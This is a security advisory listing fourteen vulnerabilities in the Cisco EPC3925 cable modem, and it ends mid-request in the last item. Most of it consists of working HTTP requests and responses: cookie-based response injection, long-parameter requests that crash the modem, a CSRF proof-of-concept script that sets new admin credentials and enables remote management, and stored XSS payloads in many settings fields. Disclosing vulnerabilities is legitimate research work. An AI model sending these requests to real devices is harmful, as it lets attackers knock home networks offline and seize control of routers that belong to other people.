695 lines
No EOL
24 KiB
Text
695 lines
No EOL
24 KiB
Text
# Title: Cisco EPC 3925 Multiple Vulnerabilities
|
|
# Vendor: http://www.cisco.com/
|
|
# Vulnerable Version(s): Cisco EPC3925 (EuroDocsis 3.0 2-PORT Voice Gateway)
|
|
# Date: 15.09.2016
|
|
# Author: Patryk Bogdan
|
|
|
|
========
|
|
|
|
Vulnerability list:
|
|
1. HTTP Response Injection via 'Lang' Cookie
|
|
2. DoS via 'Lang' Cookie
|
|
3. DoS in Wireless Client List via 'h_sortWireless'
|
|
4. (Un)authorized modem restart (Channel Selection)
|
|
5. CSRF
|
|
6. Stored XSS in SMTP Settings (Administration -> Reportning)
|
|
7. Stored XSS in User Name #1 (e.g Administration -> Managment / Setup -> Quick Setup)
|
|
8. Stored XSS in User Name #2 (Access Restrictions -> User Setup)
|
|
9. Stored XSS in ToD Filter (Access Restrictions -> Time of Day Rules)
|
|
10. Stored XSS in Rule Name (Access Restrictions -> Basic Rules)
|
|
11. Stored XSS in Domain Name (Access Restrictions -> Basic Rules)
|
|
12. Stored XSS in Network Name (e.g Wireless -> Basic Settings)
|
|
13. Stored XSS in DDNS Settings (Setup -> DDNS)
|
|
14. Stored XSS in Advanced VPN Setup (Security -> VPN -> Advanced Settings)
|
|
|
|
========
|
|
|
|
1. HTTP Response Injection
|
|
|
|
It is able to inject arbitrary data into device memory via 'Lang' cookie,
|
|
additional data will be stored until modem restart and will be returned with every http response.
|
|
|
|
#1 - Request:
|
|
POST /goform/Docsis_system HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Docsis_system.asp
|
|
Cookie: Lang=en; SessionID=171110
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 109
|
|
|
|
username_login=aaa&password_login=bbb&LanguageSelect=en%0d%0aSet-Cookie: pwned&Language_Submit=0&login=Log+In
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/Docsis_system.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
(...)
|
|
|
|
|
|
#2 - Request:
|
|
GET / HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Set-Cookie: Lang=en
|
|
Set-Cookie: pwned
|
|
Set-Cookie: SessionID=219380
|
|
Content-Length: 1398
|
|
(...)
|
|
|
|
|
|
2. DoS via 'Lang' Cookie
|
|
|
|
Modem crashes when cookie variable in request is too long.
|
|
|
|
#1 - Request (crash via http injection):
|
|
POST /goform/Docsis_system HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Docsis_system.asp
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 142
|
|
|
|
username_login=aaa&password_login=bbb&LanguageSelect=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&Language_Submit=0&login=Log+In
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/Docsis_system.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
|
|
#2 - Request:
|
|
GET /Docsis_system.asp HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Docsis_system.asp
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Set-Cookie: Lang=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
|
Set-Cookie: SessionID=163190
|
|
Content-Length: 18743
|
|
(...)
|
|
|
|
At this point modem crashes:
|
|
|
|
C:\Users\Patryk>ping -n 10 192.168.100.1
|
|
|
|
Pinging 192.168.100.1 with 32 bytes of data:
|
|
Request timed out.
|
|
Request timed out.
|
|
Reply from 192.168.0.10: Destination host unreachable.
|
|
Reply from 192.168.0.10: Destination host unreachable.
|
|
Reply from 192.168.0.10: Destination host unreachable.
|
|
Reply from 192.168.0.10: Destination host unreachable.
|
|
(...)
|
|
|
|
DoS can be also executed with single HTTP request, like this:
|
|
GET / HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: */*
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/
|
|
Cookie: Lang=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; SessionID=163190
|
|
Connection: close
|
|
|
|
|
|
3. DoS in Wireless Client List via 'h_sortWireless'
|
|
|
|
Modem crashes when variable for POST parameter 'h_sortWireless' is too long.
|
|
|
|
#1 - Request:
|
|
POST /goform/WClientMACList HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/WClientMACList.asp
|
|
Cookie: Lang=en; SessionID=71750
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 94
|
|
|
|
sortWireless=status&h_sortWireless=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/WClientMACList.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
( ... crash ... )
|
|
|
|
|
|
4. (Un)authorized channel Selection
|
|
|
|
On Cisco 3925 unauthorized user can edit device channel settings and restart the modem. Such functionality should be available only for logged users, for example it's disabled on EPC 3928.
|
|
|
|
|
|
5. CSRF
|
|
|
|
There is no prevention against CSRF attacks, attacker can for example change admin credentials and enable remote managment in single request.
|
|
|
|
PoC:
|
|
<script>
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", "http://192.168.100.1/goform/Administration", true);
|
|
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
|
|
xhr.setRequestHeader("Accept-Language", "pl,en-US;q=0.7,en;q=0.3");
|
|
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
|
xhr.withCredentials = true;
|
|
var body = "connection_mode=0&saRgIpMgmtWanDualIpAddrIP0=0&saRgIpMgmtWanDualIpAddrIP1=0&saRgIpMgmtWanDualIpAddrIP2=0&saRgIpMgmtWanDualIpAddrIP3=0&saRgIpMgmtWanDualIpRipAdvertised=0x0&wan_ip_1=0&wan_ip_2=0&wan_ip_3=0&wan_ip_4=0&wan_mask_1=0&wan_mask_2=0&wan_mask_3=0&wan_mask_4=0&wan_gw_1=0&wan_gw_2=0&wan_gw_3=0&wan_gw_4=0&Host_Name=&Domain_Name=&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns1_4=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_dns2_4=0&wan_mtuSize=0&sysname=admin&sysPasswd=newpass&sysConfirmPasswd=newpass&remote_management=enable&http_wanport=8080&upnp_enable=disable&save=Save+Settings&preWorkingMode=1&h_remote_management=enable&h_check_WebAccessUserIfLevel=2&h_upnp_enable=disable&h_wlan_enable=enable&h_user_type=common";
|
|
var aBody = new Uint8Array(body.length);
|
|
for (var i = 0; i < aBody.length; i++)
|
|
aBody[i] = body.charCodeAt(i);
|
|
xhr.send(new Blob([aBody]));
|
|
</script>
|
|
|
|
|
|
|
|
6. Stored XSS in Administration -> Reporting
|
|
|
|
#1 - Request:
|
|
POST /goform/Log HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Log.asp
|
|
Cookie: Lang=en; SessionID=457480
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 236
|
|
|
|
email_enable=enable&smtp_server=%22+onmouseover%3Dalert%281%29+x%3D%22y&email_for_log=%22+onmouseover%3Dalert%282%29+x%3D%22y&SmtpUsername=%22+onmouseover%3Dalert%283%29+x%3D%22y&SmtpPassword=aaa&save=Save+Settings&h_email_enable=enable
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/Log.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
#2 - Request:
|
|
GET /Log.asp HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Log.asp
|
|
Cookie: Lang=en; SessionID=457480
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Content-Length: 6454
|
|
(...)
|
|
<TD>
|
|
<input type="text" name="smtp_server" maxlength="255" size="30" value="" onmouseover=alert(1) x="y" />
|
|
</TD>
|
|
</TR>
|
|
<tr>
|
|
<TD>
|
|
<script language="javascript" type="text/javascript">dw(va_log_email3);</script>
|
|
</TD>
|
|
<TD>
|
|
<input type="text" name="email_for_log" maxlength="255" size="30" value="" onmouseover=alert(2) x="y"/>
|
|
</TD>
|
|
</TR>
|
|
<tr>
|
|
<TD>
|
|
<script language="javascript" type="text/javascript">dw(msg_smtp_username);</script>
|
|
</TD>
|
|
<TD>
|
|
<input type="text" name="SmtpUsername" maxlength="255" size="30" value="" onmouseover=alert(3) x="y" />
|
|
</TD>
|
|
</TR>
|
|
(...)
|
|
|
|
|
|
7. Stored XSS in User Name (Administration -> Managment / Setup -> Quick Setup)
|
|
|
|
#1 - Request:
|
|
POST /goform/Administration HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Administration.asp
|
|
Cookie: Lang=en; SessionID=457480
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 746
|
|
|
|
connection_mode=0&saRgIpMgmtWanDualIpAddrIP0=0&saRgIpMgmtWanDualIpAddrIP1=0&saRgIpMgmtWanDualIpAddrIP2=0&saRgIpMgmtWanDualIpAddrIP3=0&saRgIpMgmtWanDualIpRipAdvertised=0x0&wan_ip_1=0&wan_ip_2=0&wan_ip_3=0&wan_ip_4=0&wan_mask_1=0&wan_mask_2=0&wan_mask_3=0&wan_mask_4=0&wan_gw_1=0&wan_gw_2=0&wan_gw_3=0&wan_gw_4=0&Host_Name=&Domain_Name=&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns1_4=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_dns2_4=0&wan_mtuSize=0&sysname=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&sysPasswd=aaa&sysConfirmPasswd=aaa&remote_management=disable&upnp_enable=disable&save=Save+Settings&preWorkingMode=1&h_remote_management=disable&h_check_WebAccessUserIfLevel=2&h_upnp_enable=disable&h_wlan_enable=enable&h_user_type=common
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/Quick_setup.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
#2 - Request:
|
|
GET /Quick_setup.asp HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Administration.asp
|
|
Cookie: Lang=en; SessionID=457480
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Content-Length: 34779
|
|
(...)
|
|
<tr>
|
|
<td nowrap>
|
|
<script language="javascript" type="text/javascript">dw(va_local_access2);</script>
|
|
</td>
|
|
<td nowrap>
|
|
<script>alert('XSS')</script>
|
|
</td>
|
|
</tr>
|
|
(...)
|
|
|
|
|
|
8. Stored XSS in User Name #2 (Access Restrictions -> User Setup)
|
|
|
|
#1 - Request:
|
|
POST /goform/Rg_UserSetup HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Rg_UserSetup.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 118
|
|
|
|
NewUser=user onmouseover=alert('XSS')&Btn_AddUser=Add+User&AddUser=1&UserList=Default&RemoveUser=0&UserConfigChanged=0
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/Rg_UserSetup.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
#2 - Request:
|
|
GET /Rg_UserSetup.asp HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Rg_UserSetup.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Content-Length: 9706
|
|
(...)
|
|
<select onchange="submit();" name="UserList">
|
|
<option value=Default >1. Default<option value=user onmouseover=alert('XSS') selected>2. user onmouseover=alert('XSS
|
|
</select>
|
|
(...)
|
|
|
|
|
|
9. Stored XSS in ToD Filter
|
|
|
|
#1 - Request:
|
|
POST /goform/Rg_TodFilter HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Rg_TodFilter.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 189
|
|
|
|
TodClient=<script>alert('XSS')</script>&TodAdd=Add&addTodClient=1&ToDComputers=No+filters+entered.&removeTodClient=&StartHour=12&StartMinute=00&StartAmPm=1&EndHour=12&EndMinute=00&EndAmPm=1
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/Rg_TodFilter.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
#2 - Request:
|
|
GET /Rg_TodFilter.asp HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Rg_TodFilter.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Content-Length: 9140
|
|
(...)
|
|
<select name="ToDComputers" onChange="submit();">
|
|
<option value=0 selected>1. <script>alert('XSS')</script>
|
|
</select>
|
|
(...)
|
|
|
|
|
|
10. Stored XSS in Rule Name (Access Restrictions -> Basic Rules)
|
|
|
|
#1 - Request:
|
|
POST /goform/Rg_ParentalBasic HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 282
|
|
|
|
NewContentRule=<script>alert('XSS')</script>&AddRule=Add+Rule&AddContentRule=1&ContentRules=0&RemoveContentRule=0&NewKeyword=&KeywordAction=0&NewDomain=&DomainAction=0&NewAllowedDomain=&AllowedDomainAction=0&ParentalPassword=*******&ParentalPasswordReEnter=*******&AccessDuration=30
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/Rg_ParentalBasic.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
#2 - Request:
|
|
GET /Rg_ParentalBasic.asp HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Content-Length: 11126
|
|
(...)
|
|
<select name="ContentRules" onChange="submit();">
|
|
<option value=0 selected>1. Default<option value=1 >2. <script>alert('XSS')</script>
|
|
</select>
|
|
(...)
|
|
|
|
|
|
11. Stored XSS in Domain Name (Access Restrictions -> Basic Rules)
|
|
|
|
#1 - Request:
|
|
POST /goform/Rg_ParentalBasic HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 318
|
|
|
|
NewContentRule=&AddContentRule=&ContentRules=0&RemoveContentRule=0&NewKeyword=&KeywordAction=0&NewDomain=&DomainAction=0&NewAllowedDomain=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&AddAllowedDomain=Add+Allowed+Domain&AllowedDomainAction=1&ParentalPassword=*******&ParentalPasswordReEnter=*******&AccessDuration=30
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/Rg_ParentalBasic.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
#2 - Request:
|
|
GET /Rg_ParentalBasic.asp HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Rg_ParentalBasic.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Content-Length: 10741
|
|
(...)
|
|
<select name="AllowedDomainList" size=5>
|
|
<option value="1"><script>alert('XSS')</script>
|
|
</select>
|
|
(...)
|
|
|
|
|
|
12. Stored XSS in Network Name (e.g Wireless -> Basic Settings)
|
|
|
|
#1 - Request:
|
|
POST /goform/Quick_setup HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Quick_setup.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 371
|
|
|
|
Password=&PasswordReEnter=&setup_wifi_enable=enable&ssid=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&security_mode=psk2_mixed&wpa_enc=tkip%2Baes&wpa_psk_key=231503725&radius_ip_1=0&radius_ip_2=0&radius_ip_3=0&radius_ip_4=0&keysize=64&tx_key=1&save=Save+Settings&h_setup_wifi_enable=enable&h_security_mode=psk2_mixed&h_wpa_enc=tkip%2Baes&qs_wds_setting=disable&UserId=
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/Quick_setup.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
#2 - Request:
|
|
GET /Wireless.asp HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Quick_setup.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Content-Length: 51653
|
|
(...)
|
|
<tr>
|
|
<td>
|
|
<B><script language="javascript" type="text/javascript">dw(vwnetwork_name);</script></B>
|
|
</td>
|
|
<td colspan="2">
|
|
<script>alert('XSS')</script>
|
|
</td>
|
|
</tr>
|
|
(...)
|
|
|
|
|
|
13. Stored XSS in DDNS Settings (Setup -> DDNS)
|
|
|
|
#1 - Request:
|
|
POST /goform/Setup_DDNS HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Setup_DDNS.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 154
|
|
|
|
DdnsService=0&DdnsUserName=user" onmouseover=alert('XSS_1') x="&DdnsPassword=aaa x="&DdnsHostName=host" onmouseover=alert('XSS_2') x="y&save=Save+Settings
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/Setup_DDNS.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
#2 - Request:
|
|
GET /Setup_DDNS.asp HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/Setup_DDNS.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Content-Length: 5738
|
|
(...)
|
|
<td>
|
|
<input name="DdnsUserName" type="text" size="16" maxlength="64" value="user" onmouseover=alert('XSS_1') x="" />
|
|
</td>
|
|
(...)
|
|
<td>
|
|
<input name="DdnsHostName" type="text" size="32" maxlength="256" value="host" onmouseover=alert('XSS_2') x="y" />
|
|
</td>
|
|
(...)
|
|
|
|
|
|
14. Stored XSS in Adv. VPN Setup (Security -> VPN -> Advanced Settings)
|
|
|
|
#1 - Request:
|
|
POST /goform/vpn_adv HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/vpn_adv.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 286
|
|
|
|
